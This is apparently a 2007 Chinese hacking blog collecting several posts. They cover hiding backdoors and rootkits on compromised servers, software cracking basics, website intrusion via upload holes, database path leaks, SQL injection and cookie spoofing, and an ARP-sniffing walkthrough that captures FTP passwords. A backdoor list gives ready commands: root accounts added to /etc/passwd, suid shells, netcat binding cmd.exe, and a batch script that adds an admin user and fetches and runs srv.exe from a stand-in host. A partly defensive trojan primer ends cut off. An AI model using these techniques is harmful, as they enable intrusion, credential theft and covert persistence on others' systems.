首先拍拍wtf的马屁：这小子上次在黑防攻防实验室上说的那句话：“兄弟们千万不要拘泥于思维的定式，要知道安全最重要的就是思维的锻炼和意识的培养，为了锻炼大家的思维能力，友情提醒一下大家，我们在关卡中有很多的陷阱哦！千万不要被表面的现象迷惑了！”不要小看了这句话，把这句话放到网络入分和攻击中，很多思维被发散出来，那是整体层次的提高！就拿我们的后门这方面来讲，同样是上面几个功能强大的、隐蔽性好的后门，为什么你装在肉鸡上，不出三天就被查杀了？而别人装一就一直用得好好的呢？这其中其实就是思维转换的重要性的体现，下面我们将具体说说后门程序如何才能做的好的思维转换和特点利用，先来看看普通网友的误区：
（1）普通安全爱好者都能通过常见的系统漏洞或者其他途径入侵服务器，然后上去就是新建一个账户，直接添加到管理员权限，有点意识的还能在账户后面加一个$让别人在CMD无法发现，然后再通过什么3389、23控制服务器，汗！这就是你看《黑客防线》的成绩？《黑客防线》就这样教你？难道所有管理员都是白痴？都不知道检查系统最重要的账户？这样的肉鸡1天之内不丢都是个奇迹！
（2）控制服务器->上传后门_>开放特定端口->利用后门控制服务器，这中间通过findpass之类的经典工具得到管理员的密码，给服务器开放3389等服务……同样送给这样的朋友一个字：晕！一个简单得不能再简单的netstat-an就能让你的连接暴露无疑！那时候等着上法庭吧！
（3）克隆系统内置账户并使用它来登录服务器，这同样是一个不可取的方法，根据我的经验，这样的肉鸡肯定用不长！一两面三刀周就飞掉了！
…………
上面只是一些比较低端的错误，相信大家在看了此文后不会现再犯这样的错误，下面我们说说觉的比较安全的入侵后控制肉鸡的办法，如果我今天讲的东西能有两、三句能让你在以后的入侵和安全防护中记住，那我倍感欣慰了！
普通的入侵过程中，3389当然是大家最喜欢的控制方式，那为什么就只用3389来单纯控制服务吕呢？当别人关掉3389后你怎么控制呢？所以需要后门，那安装上普通的经典后门，为什么我的肉鸡还是在很短的时间内飞掉呢？——请注意：任何一个系统管理员都不是白痴！不管你多“黑”，你远程控制服务器总没有别人物理接触来得方便吧！逼不得已人家拔掉网线、格式化硬盘总能让你不能控制了吧？！所以，后门的隐蔽性是非常重要的，要让管理员无法发现系统中有后门就是非常重要的了！
一个好的后门，能实现单一的功能就行了，一定不要经常使用你的后门程序来控制肉鸡，这样你想肉鸡不飞都困难，比较好的方法是：
3389/23+扩展型后门+rootkit
这是到目前为止最经典的一种后门搭配方式，它几方面的优点显示而易见：对方发现不明ip连接的时候肯定会检查系统问题，改system密码，清理账户是不可避免了，进而管理员对系统的漏洞进行一次常规升级和检测，补上最开始被入我们入侵的漏洞，这样如果没有后门，再进来就很难了。
通常这样情况下管理员会考虑系统中是不是存在后门，使用常见的杀毒软件，安全程序来检测系统，发现后门立即查杀，所以在这里后门的隐蔽性非常重要，一时被杀，gameover！所以这里定要选择一些比较难查杀或者是加过壳的后门，上面介绍的后门就是不错的选择，线程插入式是比较难被杀掉的。
在这样基础上，如果他发现系统中某个程序总是在对网络连接，或者是某个端口总是有人连接在上面，管理员肯定会想办法kill掉这个程序，所以普通后门再隐藏得好也是会被查杀的，这也是大多数朋友的疑惑了，在这里就需要使用rootkit了！
如果从系统级隐藏掉服务名、进、端口、注册表值、启动项目、程序名，那现在想信普通的杀毒程序、安全工具要查出系统中的后门程序是很难的！而这点，才是后门程序的精华所在：隐藏！这样的功能，绝对不是某个后门程序单一使用能实现！而rootkit和上面介绍的一系列后门中的精品就是你最好的选择！多尝试，想念你一定找到这个经典搭配中的优势的！退一万步讲，如果这样控制的肉鸡飞掉了，奉劝大家还是少玩为妙，免得惹火上身哦！

yiye 2007-05-20 14:07 发表评论

学软件破解需要知道的6个最基本概念

yiye — Sun, 20 May 2007 06:06:00 GMT

1. 断点：

所谓断点就是程序被中断的地方，这个词对于解密者来说是再熟悉不过了。那么什么又是中断呢？中断就是由于有特殊事件（中断事件）发生，计算机暂停当前的任务（即程序），转而去执行另外的任务（中断服务程序），然后再返回原先的任务继续执行。打个比方：你正在上班，突然有同学打电话告诉你他从外地坐火车过来，要你去火车站接他。然后你就向老板临时请假，赶往火车站去接同学，接着将他安顿好，随后你又返回公司继续上班，这就是一个中断过程。我们解密的过程就是等到程序去获取我们输入的注册码并准备和正确的注册码相比较的时候将它中断下来，然后我们通过分析程序，找到正确的注册码。所以我们需要为被解密的程序设置断点，在适当的时候切入程序内部，追踪到程序的注册码，从而达到crack的目的。

2. 领空：

这是个非常重要的概念，但是也初学者是常常不明白的地方。我们在各种各样的破解文章里都能看到领空这个词，如果你搞不清楚到底程序的领空在哪里，那么你就不可能进入破解的大门。或许你也曾破解过某些软件，但那只是瞎猫碰到死老鼠而已（以前我就是这样的^_^,现在说起来都不好意思喔！）。所谓程序的领空，说白了就是程序自己的地方，也就是我们要破解的程序自己程序码所处的位置。也许你马上会问：我是在程序运行的时候设置的断点，为什么中断后不是在程序自己的空间呢？因为每个程序的编写都没有固定的模式，所以我们要在想要切入程序的时候中断程序，就必须不依赖具体的程序设置断点，也就是我们设置的断点应该是每个程序都会用到的东西。在DOS时代，基本上所有的程序都是工作在中断程序之上的，即几乎所有的DOS程序都会去调用各种中断来完成任务。但是到了WINDOWS时代，程序没有权力直接调用中断，WINDOWS系统提供了一个系统功能调用平台（API），就向DOS程序以中断程序为基础一样，WINDOWS程序以API为基础来实现和系统打交道，从而各种功能，所以WINDWOS下的软件破解其断点设置是以API函数为基础的，即当程序调用某个API函数时中断其正常运行，然后进行解密。例如在SOFTICE中设置下面的断点：bpx GetDlgItemText（获取对话框文本），当我们要破解的程序要读取输入的数据而调用GetDlgItemText时，立即被SOFTICE拦截到，从而被破解的程序停留在GetDlgItemText的程序区，而GetDlgItemText是处于WINDWOS自己管理的系统区域，如果我们擅自改掉这部分的程序代码，那就大祸临头了^_^！所以我们要从系统区域返回到被破解程序自己的地方（即程序的领空），才能对程序进行破解，至于怎样看程序的领空请看前面的SOFTICE图解。试想一下：对于每个程序都会调用的程序段，我们可能从那里找到什么有用的东西吗？（怎么样去加密是程序自己决定的，而不是调用系统功能实现的！）

3. API：

即Application Programming Interface的简写，中文叫应用程序编程接口，是一个系统定义函数的大集合，它提供了访问操作系统特征的方法。 API包含了几百个应用程序调用的函数，这些函数执行所有必须的与操作系统相关的操作，如内存分配、向屏幕输出和创建窗口等，用户的程序通过调用API接口同WINDOWS打交道，无论什么样的应用程序，其底层最终都是通过调用各种API函数来实现各种功能的。通常API有两中基本形式：Win16和Win32。 Win16是原来的、API的16位版本，用于Windows 3.1；Win32是现在的、API的32位版本，用于Windows 95/98/NT/ME/2000。Win32包括了Win16，是Win16的超集，大多数函数的名字、用法都是相同的。16位的API函数和32位的 API函数的区别在于最后的一个字母，例如我们设置这样的断点：bpx GetDlgItemText、bpx GetDlgItemTextA和bpx GetDlgItemTextW，其中 GetDlgItemText是16位API函数，GetDlgItemTextA和GetDlgItemTextW是32位API函数，而 GetDlgItemTextA表示函数使用单字节，GetDlgItemTextW表示函数使用双字节。现在我们破解中常用到的是Win32单字节 API函数，就是和GetDlgItemTextA类似的函数，其它的两种（Win16 API和Win32双字节API函数）则比较少见。 Win32 API函数包含在动态链接库（Dynamic Link Libraries，简称DLLs）中，即包含在kernel32.dll、user32.dll、gdi32.dll和comctl32.dll中，这就是为什么我们要在softice中用exp=C:/windows/system/kernel32.dll等命令行将这些动态链接库导入 softice中的原因。因为不这样做的话，我们就无法拦截到系统Win32 API函数调用了。

4. 关于程序中注册码的存在方式：

破解过程中我们都会去找程序中将输入的注册码和正确的注册码相比较的地方，然后通过对程序的跟踪、分析找到正确的注册码。但是正确的注册码通常在程序中以两种形态存在：显式的和隐式的，对于显式存在的注册码，我们可以直接在程序所处的内存中看到它，例如你可以直接在SOFTICE的数据窗口中看到类似"297500523"这样存在的注册码（这里是随意写的），对于注册码显式存在的软件破解起来比较容易；但是有些软件的程序中并不会直接将我们输入的注册码和正确的注册码进行比较，比如有可能将注册码换算成整数、或是将注册码拆开，然后将每一位注册码分开在不同的地方逐一进行比较，或者是将我们输入的注册码进行某种变换，再用某个特殊的程序进行验证等等。总之，应用程序会采取各种不同的复杂运算方式来回避直接的注册码比较，对于这类程序，我们通常要下功夫去仔细跟踪、分析每个程序功能，找到加密算法，然后才能破解它，当然这需要一定的8086汇编编程功底和很大的耐心与精力。

5. 关于软件的破解方式：

本人将破解方式分为两大类，即完全破解和暴力破解。所谓完全破解主要是针对那些需要输入注册码或密码等软件来说的，如果我们能通过对程序的跟踪找到正确的注册码，通过软件本身的注册功能正常注册了软件，这样的破解称之为完全破解；但如果有些软件本身没有提供注册功能，只是提供试用（DEMO），或是注册不能通过软件本身进行（例如需要获取另外一个专用的注册程序，通过INTERNET的注册等等），或者是软件本身的加密技术比较复杂，软件破解者的能力、精力、时间有限，不能直接得到正确的注册码，此时我们需要去修改软件本身的程序码。

6. 关于破解教程中程序代码地址问题：

破解教程中都会放上一部分程序代码以帮助讲解程序的分析方法，例如下面的一段程序代码：

......
0167:00408033　PUSH　00
0167:00408035　PUSH　EBX
0167:00408036　CALL　[USER32!EndDialog]
0167:0040803C　JMP　0040812C
......

在这里程序中的代码地址如0167:00408033，其代码段的值（即0167）有可能根据不同的电脑会有区别，不一定一模一样，但偏移值应该是固定的（即00408033不变），所以如果看到破解文章里的程序代码的地址值和自己的电脑里不一样，不要以为搞错地方了，只要你的程序代码正确就不会有问题。

yiye 2007-05-20 14:06 发表评论

教你如何清除SQL日志

yiye — Sun, 20 May 2007 06:06:00 GMT

aspContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">

1．打开查询分析器，输入命令
DUMP TRANSACTION 数据库名 WITH NO_LOG
2.再打开企业管理器--右键你要压缩的数据库--所有任务--收缩数据库--收缩文件--选择日志文件--在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了。

清除Log有两种方法：

　　1.自动清除法

　　开放数据库选项 Trunc Log on Chkpt，使数据库系统每隔一段时间自动清除Log。此方法的优点是无须人工干预，由SQL　Server自动执行，并且一般不会出现Log溢满的情况；缺点是只清除Log而不做备份。

　　2.手动清除法

　　执行命令“dump transaction”来清除Log。以下两条命令都可以清除日志：

dump transaction with truncate_only
dump transaction with no_log

通常删除事务日志中不活跃的部分可使用“dump transaction with trancate_only”命令，这条命令写进事务日志时，还要做必要的并发性检查。SYBASE提供“dump transaction with no_log”来处理某些非常紧迫的情况，使用这条命令有很大的危险性，SQL　Server会弹出一条警告信息。为了尽量确保数据库的一致性，你应将它作为“最后一招”。

　　以上两种方法只??清除日志，而不做日志备份，若想备份日志，应执行“dump transaction database_name to dumpdevice”命令。

PS:附一个更好的方法

先分离数据库后，直接删除日志以后,再在查询分析器里用

exec sp_attach_single_file_db '数据库名', '.mdf文件路径'
命令附加数据库。 OVER.在别的地方看到的不错。

yiye 2007-05-20 14:06 发表评论

黑客新人必学的网站入侵基本知识

yiye — Sun, 20 May 2007 06:04:00 GMT

因为我是刚来，所以就从新的开始，也好让刚来的朋友从头开始!首先介绍下什么样的站点可以入侵:必须是动态的网站，比如asp、php、jsp 这种形式的站点。后缀为.htm的站点劝大家还是不要入侵了吧(入侵几率几乎为0)

　　1 上传漏洞，这个漏洞在DVBBS6.0时代被黑客们利用的最为猖獗，利用上传漏洞可以直接得到WEBSHELL，危害等级超级高，现在的入侵中上传漏洞也是常见的漏洞。

　　怎样利用:在网站的地址栏中网址后加上/upfile.asp如果显示上传格式不正确[重新上传] 这样的字样8成就是有长传漏洞了找个可以上传的工具直接可以得到WEBSHELL。

　　工具介绍:上传工具，老兵的上传工具、DOMAIN3.5，这两个软件都可以达到上传的目的，用NC也可以提交。

　　WEBSHELL是什么:WEBSHELL在上节课简单的介绍了下，许多人都不理解，这里就详细讲下，其实 WEBSHELL并不什么深奥的东西，是个WEB的权限，可以管理WEB，修改主页内容等权限，但是并没有什么特别高的权限，(这个看管理员的设置了)一般修改别人主页大多都需要这个权限，接触过WEB木马的朋友可能知道(比如老兵的站长助手就是WEB木马海阳2006也是 WEB木马)我们上传漏洞最终传的就是这个东西，有时碰到权限设置不好的服务器可以通过WEBSHELL得到最高权限。

　　2 暴库:这个漏洞现在很少见了，但是还有许多站点有这个漏洞可以利用，暴库就是提交字符得到数据库文件，得到了数据库文件我们就直接有了站点的前台或者后台的权限了。

　　暴库方法:比如一个站的地址为 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161，我门就可以把com/dispbbs中间的/换成%5c，如果有漏洞直接得到数据库的绝对路径，用寻雷什么的下载下来就可以了。还有种方法就是利用默认的数据库路径http://www.xxx.com/后面加上conn.asp。如果没有修改默认的数据库路径也可以得到数据库的路径(注意:这里的/也要换成%5c)。

　　为什么换成%5c:因为在ASCII码里/等于%5c，有时碰到数据库名字为/#abc.mdb的为什么下不了? 这里需要把#号换成%23就可以下载了，为什么我暴出的数据库文件是以。ASP结尾的?我该怎么办?这里可以在下载时把.ASP换成.MDB 这样就可以下载了如果还下载不了可能作了防下载。

　　3 注入漏洞:这个漏洞是现在应用最广泛，杀伤力也很大的漏洞，可以说微软的官方网站也存在着注入漏洞。注入漏洞是因为字符过滤不严禁所造成的，可以得到管理员的帐号密码等相关资料。

　　怎样利用:我先介绍下怎样找漏洞比如这个网址 http://www.xxx.com/dispbbs.asp?boardID=7&ID=161 后面是以ID=数字形式结尾的站我们可以手动在后面加上个 and 1=1 看看如果显示正常页面再加上个and 1=2 来看看如果返回正常页面说明没有漏洞如果返回错误页面说明存在注入漏洞。如果加and 1=1 返回错误页面说明也没有漏洞，知道了站点有没有漏洞我门就可以利用了可以手工来猜解也可以用工具现在工具比较多(NBSI NDSI 啊D DOMAIN等)都可以用来猜解帐号密码，因为是菜鸟接触，我还是建议大家用工具，手工比较烦琐。

　　4 旁注:我们入侵某站时可能这个站坚固的无懈可击，我们可以找下和这个站同一服务器的站点，然后在利用这个站点用提权，嗅探等方法来入侵我们要入侵的站点。打个形象的比喻，比如你和我一个楼，我家很安全，而你家呢，却漏洞百出，现在有个贼想入侵我家，他对我家做了监视(也就是扫描)发现没有什么可以利用的东西，那么这个贼发现你家和我家一个楼，你家很容易就进去了，他可以先进入你家，然后通过你家得到整个楼的钥匙(系统权限)，这样就自然得到我的钥匙了，就可以进入我的家(网站)。

　　工具介绍:还是名小子的DOMIAN3.5不错的东西，可以检测注入，可以旁注，还可以上传!

　　5 COOKIE诈骗:许多人不知道什么是COOKIE，COOKIE是你上网时由网站所为你发送的值记录了你的一些资料，比如IP，姓名什么的。

　　怎样诈骗呢?如果我们现在已经知道了XX站管理员的站号和MD5密码了，但是破解不出来密码(MD5是加密后的一个16位的密码)我们就可以用COOKIE诈骗来实现，把自己的ID修改成管理员的，MD5密码也修改成他的，有工具可以修改COOKIE 这样就答到了COOKIE诈骗的目的，系统以为你就是管理员了。

yiye 2007-05-20 14:04 发表评论

ARP监听渗透内网的方法

yiye — Sun, 20 May 2007 06:04:00 GMT

假设想攻击的主机IP是:61.139.1.79 ,同一子网下我们已有权限的主机IP是:61.139.1.88并可以3389登陆

第一步:
tracert 61.139.1.1

C:/WIN2000/system32>tracert 61.139.1.1

Tracing route to HACK-4FJ7EARC [61.139.1.1]
over a maximum of 30 hops:

1 <10 ms <10 ms <10 ms HACK-4FJ7EARC [61.139.1.1]

Trace complete.

这就说明了你想攻击的主机和你所在的主机在一个关网中那么就有可能
进行ARPSNIFFER了

第二步:看本机IP设置和网卡情况
C:/WIN2000/system32>ipconfig /all

Windows 2000 IP Configuration

Host Name . . . . . . . . . . . . : smscomputer
Primary DNS Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Broadcast
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Intel Fast Ethernet LAN Controller - onboard:

Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Intel(R) 8255x Based Network Connection
Physical Address. . . . . . . . . : 00-B0-D0-22-10-C6
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 61.139.1.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 61.139.1.65
DNS Servers . . . . . . . . . . . : 61.139.1.73

说明只有一块网卡那么在执行ARPSNIFFER的时候就可以不要第五个参数了这个地
方小榕的主页可没有说哟,经过测试我发觉如果只有一块网卡你第五个参数使用0
的话也只能嗅探到通过自已的数据哟.
从上面我们还可以知道网关是61.139.1.65

第三步:查看本机时间
C:/WIN2000/system32>net time //127.0.0.1

//127.0.0.1 的当前时间是 2003/1/28 下午 09:13

命令完成成功

要注意的是这儿的时间是12小时式,用at命令应要24小时式

第四步:编写启动ARPsniffer的bat文件
C:/WIN2000/system32>echo arpsniffer 61.139.1.65 61.139.1.79 21 1.txt /reset>c:/winnt/a.bat

注意咯我们没有要第五个参数,如果有多个网卡的话你就要先直接执行arpsniffer显示如下:
ARPSniffer 0.5 (Router Inside), by netXeyes, Special Thanks BB
www.netXeyes.com 2002, security@vip.sina.com

Network Adapter 0: D-Link DE-528 Ethernet PCI Adapter
Network Adapter 1: Intel(R) PRO/100+ PCI Adapter(这个地方选第五个参数)

Usage: ArpSniffer [/RESET]

第五步:后台运行开始嗅探咯
C:/winnt/system32>at //127.0.0.1 20:44 c:/winnt/a.bat

注意:这儿的时间要用24小时式
arpsniffer最好拷到system32目录下,记录文件也会生成在这儿
执行完第四步要先安装WINPCAP 2.1驱动
同时arpsniffer要使用最新的0.5版,老版本有不少BUG而且要改注册表重启机子

第六步:看密码但是生成的记录文件不能直接看也不能拷贝所以我们只能先结束掉
以SYSTEM权限启动的ARPSniffer程序
C:/winnt/system32>pulist
...................
conime.exe 248 NT AUTHORITY/SYSTEM
explorer.exe 1864 SMSCOMPUTER/Administrator
CSRSS.EXE 2256 NT AUTHORITY/SYSTEM
Arpsniffer.exe 2322 NT AUTHORITY/SYSTEM ----就是它了!
WINLOGON.EXE 2344 NT AUTHORITY/SYSTEM
......................

杀了它
C:/winnt/system32>pskill 2322
PsKill v1.03 - local and remote process killer
Copyright (C) 2000 Mark Russinovich
http://www.sysinternals.com

Process 2322 killed.

C:/winnt/system32>type 1.txt 我的例子中嗅探的是FTP密码:)

...............
61.188.218.179(1404)->61.139.1.79(21)PASS aaabbb
61.139.1.79(21)->61.188.218.179(1404)530 User czy82 cannot log in.
61.139.1.79(21)->61.188.218.179(1404)530 User czy82 cannot log in.
61.188.218.179(1404)->61.139.1.79(21)QUIT
61.188.218.179(1404)->61.139.1.79(21)QUIT
61.139.1.79(21)->61.188.218.179(1404)221
61.139.1.79(21)->61.188.218.179(1404)221
............
............

特别要注意的就是PASS哈:)

----------------------------------------------------
付录:
前台正常执行的显示

C:/>arpsniffer 61.139.1.65 61.139.1.79 21 1.txt /reset

ARPSniffer 0.5 (Router Inside), by netXeyes, Special Thanks BB
www.netXeyes.com 2002, security@vip.sina.com

Network Adapter 0: Intel(R) 8255x Based Network Connection

Enable IP Router....OK

Get 61.139.1.65 Hardware Address: 00-00-0c-07-ac-02
Get 61.139.1.79 Hardware Address: 00-b0-d0-22-10-cb
Get 61.139.1.88 Hardware Address: 00-b0-d0-22-10-c6

Spoof 61.139.1.79: Mac of 61.139.1.65 ===> Mac of 61.139.1.88
Spoof 61.139.1.65: Mac of 61.139.1.79 ===> Mac of 61.139.1.88
有时这儿要先显示can not open driver(0)不管它等一下就可以了
Begin Sniffer.........

yiye 2007-05-20 14:04 发表评论

黑客技巧系列之常见的一些留后门手法

yiye — Sun, 20 May 2007 06:02:00 GMT

aspContentLabel style="PADDING-RIGHT: 10px; DISPLAY: block; PADDING-LEFT: 10px; PADDING-BOTTOM: 0px; PADDING-TOP: 0px">

对于我们这样的菜手，好不容易搞了台服务器很不容易，如果被发现了就惨了。其实，开后门的方法有很多种，下面我来说说，我以前学习过的几种方法。

1. Setuid

#cp /bin/sh /tmp/.root#chmod u+s /tmp/.root

加上 suid 位到shell 上，虽然很简单，但容易被发现。

2. Echo "hack::0:0::/:/bin/csh" >> /etc/passwd

即给系统增加一个 ID 为 0（root)的帐号，无口令，但管理员用find命令就可以发现。

3.Echo "+ hack">>/.rhosts

如果这个系统开了512、513的port，就可以。把一个名为hack加到.rhosts文件中，rlogin登陆，无须密码。

4.修改 Sendmail.cf文件

增加一个"wiz" 命令，然后telnet www.xxx.com 25后，wiz，这就可以了。

5. Rootkit backdoor

这些东西现在是很火热的东西，但小心该后的文件的适用性、日期等等一些小的细节。有的需要自己编译，有的是编译好的。

6.Remote shell

Sunx的那个backdoor就很不错，不会产生日记文件，防止who等等。需要编译，但运行在redhat 6.1很不错。但在7.1等版本中好象就有点bug。

或者可以bindshell，可以替换inetd.conf中不常用的服务，注意文件的修改时间。

7. Http后门

其实，一般的防火墙对Web服务的限制少的很，所以我们可以从这里入手，这里需要用到端口重定向。简单的说就是web开的http服务有2个，一个是http本身，一个是remote shell bindshell。防火墙过滤其他一切port，禁止反向连接，简单的就是可以用nc。（netcat这个）把cmd.exe绑定到80端口上去。 telnet www.xxx.com 80 然后就得到一个shell。或者可以利用asp,php.cgi等代码写的后门，也可以作到相同的效果。

8.Bat后门（原创）

如果是xnix服务器，没办法。

Ms服务器：

backdoor.bat

net user hacker windychild /add

net localgroup administrators hacker /add ...create super admin user

echo open www.xxx.com>c:ftp.txt

echo xxx>>c:/ftp.txtecho xxxxxx>>c:/ftp.txt

echo get srv.exe>>c:/ftp.txt

echo bye>>c:/ftp.txt

ftp -s:c:/ftp.txt

copy srv.exe c:/winnt/

c:/winnt/srv.exe

del c:/ftp.txt

del c:/srv.exe ......可以自己设置木马或后门等....或你可以写上开启3389服务，telnet的语句其他，开放共享服务！

net share ipc=ipc$

net share hdc=c$......

如果狠点的话，干脆再给它上个rootkit for win。

9.可以利用邮件编码漏洞

自己设置一个base64的编码文件发给你的朋友，然后把后门.exe转换成邮件编码。

其实，上面的方法都是很常见的方法。还有很多方法，一时没办法整理出来，但对于新手来说足够了

yiye 2007-05-20 14:02 发表评论

黑客知识之你真的知道特洛伊木马吗！

yiye — Sun, 20 May 2007 06:02:00 GMT

特洛伊木马是一种非常危险的恶性程序，它无休止的窃取用户的信息，从而给用户造成了巨大的损失。本期专题我们从特洛伊木马的原理、技术以及防御与清除方面给大家进行全方位的介绍，让大家了解特洛伊木马，同时提高对特洛伊木马的防范意识……

什么是特洛伊木马?

“特洛伊木马”（trojan horse）简称“木马”，据说这个名称来源于希腊神话《木马屠城记》。古希腊有大军围攻特洛伊城，久久无法攻下。于是有人献计制造一只高二丈的大木马，假装作战马神，让士兵藏匿于巨大的木马中，大部队假装撤退而将木马摈弃于特洛伊城下。城中得知解围的消息后，遂将“木马”作为奇异的战利品拖入城内，全城饮酒狂欢。到午夜时分，全城军民尽入梦乡，匿于木马中的将士开秘门游绳而下，开启城门及四处纵火，城外伏兵涌入，部队里应外合，焚屠特洛伊城。后世称这只大木马为“特洛伊木马”。如今黑客程序借用其名，有“一经潜入，后患无穷”之意。

完整的木马程序一般由两个部份组成：一个是服务器程序，一个是控制器程序。“中了木马”就是指安装了木马的服务器程序，若你的电脑被安装了服务器程序，则拥有控制器程序的人就可以通过网络控制你的电脑、为所欲为，这时你电脑上的各种文件、程序，以及在你电脑上使用的帐号、密码就无安全可言了。

木马程序不能算是一种病毒，但越来越多的新版的杀毒软件，已开始可以查杀一些木马了，所以也有不少人称木马程序为黑客病毒。

详解木马原理

介绍特洛伊木马程序的原理、特征以及中了木马后系统出现的情况……

特洛伊木马是如何启动的

作为一个优秀的木马，自启动功能是必不可少的，这样可以保证木马不会因为你的一次关机操作而彻底失去作用。正因为该项技术如此重要，所以，很多编程人员都在不停地研究和探索新的自启动技术，并且时常有新的发现。一个典型的例子就是把木马加入到用户经常执行的程序 (例如explorer.exe)中，用户执行该程序时，则木马自动发生作用。当然，更加普遍的方法是通过修改Windows系统文件和注册表达到目的，现经常用的方法主要有以下几种:

1.在Win.ini中启动

　　在Win.ini的[windows]字段中有启动命令"load＝"和"run＝"，在一般情况下 "＝"后面是空白的，如果有后跟程序，比方说是这个样子：

run=c:/windows/file.exe
load=c:/windows/file.exe

要小心了，这个file.exe很可能是木马哦。

2.在System.ini中启动

System.ini位于Windows的安装目录下，其[boot]字段的shell=Explorer.exe是木马喜欢的隐藏加载之所，木马通常的做法是将该何变为这样:shell=Explorer.exefile.exe。注意这里的file.exe就是木马服务端程序!

另外，在System.中的[386Enh]字段，要注意检查在此段内的"driver＝路径/程序名"这里也有可能被木马所利用。再有，在System.ini中的[mic]、[drivers]、[drivers32]这3个字段，这些段也是起到加载驱动程序的作用，但也是增添木马程序的好场所，现在你该知道也要注意这里喽。

3.利用注册表加载运行

如下所示注册表位置都是木马喜好的藏身加载之所，赶快检查一下，有什么程序在其下。

4.在Autoexec.bat和Config.sys中加载运行

请大家注意，在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都需要控制端用户与服务端建立连接后，将己添加木马启动命令的同名文件上传到服务端覆盖这两个文件才行，而且采用这种方式不是很隐蔽。容易被发现，所以在Autoexec.bat和Confings中加载木马程序的并不多见，但也不能因此而掉以轻心。

5.在Winstart.bat中启动

Winstart.bat是一个特殊性丝毫不亚于Autoexec.bat的批处理文件，也是一个能自动被Windows加载运行的文件。它多数情况下为应用程序及Windows自动生成，在执行了Windows自动生成，在执行了Win.com并加截了多数驱动程序之后

开始执行 (这一点可通过启动时按F8键再选择逐步跟踪启动过程的启动方式可得知)。由于Autoexec.bat的功能可以由Witart.bat代替完成，因此木马完全可以像在Autoexec.bat中那样被加载运行，危险由此而来。

6.启动组

木马们如果隐藏在启动组虽然不是十分隐蔽，但这里的确是自动加载运行的好场所，因此还是有木马喜欢在这里驻留的。启动组对应的文件夹为C:/Windows/start menu/programs/startup,在注册表中的位置: HKEY_CURRENT_USER/Software/Microsoft/windows/CurrentVersion/Explorer/shellFolders Startup="c:/windows/start menu/programs/startup"。要注意经常检查启动组哦!

7.*.INI

即应用程序的启动配置文件，控制端利用这些文件能启动程序的特点，将制作好的带有木马启动命令的同名文件上传到服务端覆盖这同名文件，这样就可以达到启动木马的目的了。只启动一次的方式:在winint.ini.中(用于安装较多)。

8.修改文件关联

修改文件关联是木马们常用手段 (主要是国产木马，老外的木马大都没有这个功能)，比方说正常情况下TXT文件的打开方式为Notepad.EXE文件，但一旦中了文件关联木马，则txt文件打开方式就会被修改为用木马程序打开，如著名的国产木马冰河就是这样干的. "冰河"就是通过修改HKEY_CLASSES_ROOT/txtfile/whell/open/command下的键值，将“C: /WINDOWS/NOTEPAD.EXE本应用Notepad打开，如著名的国产HKEY一CLASSES一ROOT/txt闹 e/shell/open/commandT的键值，将 "C:/WINDOWS/NOTEPAD.EXE%l"改为 "C:/WINDOWS/SYSTEM/SYSEXPLR.EXE%l"，这样，一旦你双击一个TXT文件，原本应用Notepad打开该文件，现在却变成启动木马程序了，好狠毒哦!请大家注意，不仅仅是TXT文件，其他诸如HTM、EXE、ZIP.COM等都是木马的目标，要小心搂。

对付这类木马，只能经常检查HKEY_C/shell/open/command主键，查看其键值是否正常。

9.捆绑文件

实现这种触发条件首先要控制端和服务端已通过木马建立连接，然后控制端用户用工具软件将木马文件和某一应用程序捆绑在一起，然后上传到服务端覆盖源文件，这样即使木马被删除了，只要运行捆绑了木马的应用程序，木马义会安装上去。绑定到某一应用程序中，如绑定到系统文件，那么每一次Windows启动均会启动木马。

10.反弹端口型木马的主动连接方式

反弹端口型木马我们已经在前面说过了，由于它与一般的木马相反，其服务端 (被控制端)主动与客户端 (控制端)建立连接，并且监听端口一般开在80，所以如果没有合适的工具、丰富的经验真的很难防范。这类木马的典型代表就是网络神偷"。由于这类木马仍然要在注册表中建立键值注册表的变化就不难查到它们。同时，最新的天网防火墙(如我们在第三点中所讲的那样)，因此只要留意也可在网络神偷服务端进行主动连接时发现它。

木马的隐藏方式

1.在任务栏里隐藏

这是最基本的隐藏方式。如果在windows的任务栏里出现一个莫名其妙的图标，傻子都会明白是怎么回事。要实现在任务栏中隐藏在编程时是很容易实现的。我们以VB为例。在VB中，只要把from的Visible属性设置为False,ShowInTaskBar设为False程序就不会出现在任务栏里了。

2.在任务管理器里隐藏

查看正在运行的进程最简单的方法就是按下Ctrl+Alt+Del时出现的任务管理器。如果你按下Ctrl+Alt+Del后可以看见一个木马程序在运行，那么这肯定不是什么好木马。所以，木马会千方百计地伪装自己，使自己不出现在任务管理器里。木马发现把自己设为 "系统服务“就可以轻松地骗过去。

因此，希望通过按Ctrl+Alt+Del发现木马是不大现实的。

3.端口

一台机器有65536个端口，你会注意这么多端口么?而木马就很注意你的端口。如果你稍微留意一下，不难发现，大多数木马使用的端口在1024以上，而且呈越来越大的趋势;当然也有占用1024以下端口的木马，但这些端口是常用端口，占用这些端口可能会造成系统不正常，这样的话，木马就会很容易暴露。也许你知道一些木马占用的端口，你或许会经常扫描这些端口，但现在的木马都提供端口修改功能，你有时间扫描65536个端口么?

4.隐藏通讯

隐藏通讯也是木马经常采用的手段之一。任何木马运行后都要和攻击者进行通讯连接，或者通过即时连接，如攻击者通过客户端直接接人被植人木马的主机;或者通过间接通讯。如通过电子邮件的方式，木马把侵入主机的敏感信息送给攻击者。现在大部分木马一般在占领主机后会在1024以上不易发现的高端口上驻留;有一些木马会选择一些常用的端口，如80、23,有一种非常先进的木马还可以做到在占领80HTTP端口后，收到正常的HTTP请求仍然把它交与Web服务器处理，只有收到一些特殊约定的数据包后，才调用木马程序。

5.隐藏隐加载方式

